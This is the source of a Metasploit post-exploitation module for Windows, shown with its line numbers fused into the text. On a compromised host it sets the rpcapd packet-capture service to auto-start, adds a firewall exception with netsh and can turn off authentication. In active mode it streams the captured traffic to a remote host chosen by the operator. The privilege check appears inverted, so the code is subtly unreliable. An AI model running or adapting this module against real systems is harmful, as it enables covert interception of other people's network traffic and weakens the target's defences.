Path: blob/master/modules/post/windows/manage/rpcapd_start.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Registry8include Msf::Post::Windows::Services9include Msf::Post::Windows::Priv1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Windows Manage Remote Packet Capture Service Starter',16'Description' => %q{17This module enables the Remote Packet Capture System (rpcapd service)18included in the default installation of Winpcap. The module allows you to set up19the service in passive or active mode (useful if the client is behind a firewall).20If authentication is enabled you need a local user account to capture traffic.21PORT will be used depending of the mode configured.22},23'License' => MSF_LICENSE,24'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],25'Platform' => 'win',26'SessionTypes' => [ 'meterpreter' ],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [],30'Reliability' => []31}32)33)3435register_options(36[37OptBool.new('NULLAUTH', [ true, 'Enable Null Authentication.', true]),38OptBool.new('ACTIVE', [ true, 'Enable rpcapd in active mode (passive by default).', false]),39OptAddress.new('RHOST', [ false, 'Remote host to connect (set in active mode only).']),40OptInt.new('PORT', [ true, 'Local/Remote port to capture traffic.', 2002])41]42)43end4445def run46if is_admin?47print_error("You don't have enough privileges. Try getsystem.")48return49end5051serv = service_info('rpcapd')52print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")5354if serv[:display] !~ /remote/i55print_error("This machine doesn't seem to have the rpcapd service")56return57end5859print_status("Rpcap service found: #{serv[:display]}")6061start_type = serv[:starttype]62prog = get_env('ProgramFiles') << '\\winpcap\\rpcapd.exe'63if start_type != START_TYPE_AUTO64print_status("Setting rpcapd as 'auto' service")65service_change_startup('rpcapd', START_TYPE_AUTO)66end6768if datastore['ACTIVE']69if datastore['RHOST'].nil?70print_error('RHOST is not set ')71return72end73p = prog << " -d -a #{datastore['RHOST']},#{datastore['PORT']} -v "74print_status("Installing rpcap in ACTIVE mode (remote port: #{datastore['PORT']})")75else76fw_enable(prog)77print_status("Installing rpcap in PASSIVE mode (local port: #{datastore['PORT']}) ")78p = prog << " -d -p #{datastore['PORT']} "79end8081if datastore['NULLAUTH']82p << '-n'83end8485run_rpcapd(p)86end8788def run_rpcapd(cmdline)89service_name = 'rpcapd'90if service_restart(service_name)91print_good("Rpcapd started successfully: #{cmdline}")92else93print_error('There was an error restarting rpcapd.exe.')94end95rescue StandardError => e96print_error("The following error was encountered: #{e.class} #{e}")97end9899def fw_enable(prog)100print_status('Enabling rpcapd.exe in Windows Firewall')101if file_exist?(prog)102cmd_exec('netsh', "firewall add allowedprogram \"#{prog}\" \"Windows Service\" ENABLE ", 30)103else104print_error("rpcad.exe doesn't exist in #{prog}. Check the installation of WinPcap")105end106rescue StandardError => e107print_status("The following error was encountered: #{e.class} #{e}")108end109end110111112